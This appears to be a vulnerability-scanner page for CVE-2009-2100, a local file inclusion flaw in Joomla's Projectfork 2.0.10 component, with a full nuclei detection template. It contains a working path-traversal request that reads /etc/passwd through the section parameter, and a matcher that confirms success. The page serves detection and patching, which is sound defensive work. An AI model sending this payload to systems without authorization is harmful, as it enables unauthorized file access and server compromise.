Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion

mediumseverity

5CVSS score

8.2%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.

Fix

Upgrade to a patched version of JoomlaPraise Projectfork or apply the necessary security patches to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_projectfork&section=../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-2100 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2009-2100

info:
  name: Joomla! JoomlaPraise Projectfork  2.0.10 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: |
    Upgrade to a patched version of JoomlaPraise Projectfork or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/8946
    - https://nvd.nist.gov/vuln/detail/CVE-2009-2100
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2009-2100
    cwe-id: CWE-22
    epss-score: 0.08229
    epss-percentile: 0.94936
    cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla
  tags: cve2009,cve,joomla,lfi,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_projectfork&section=../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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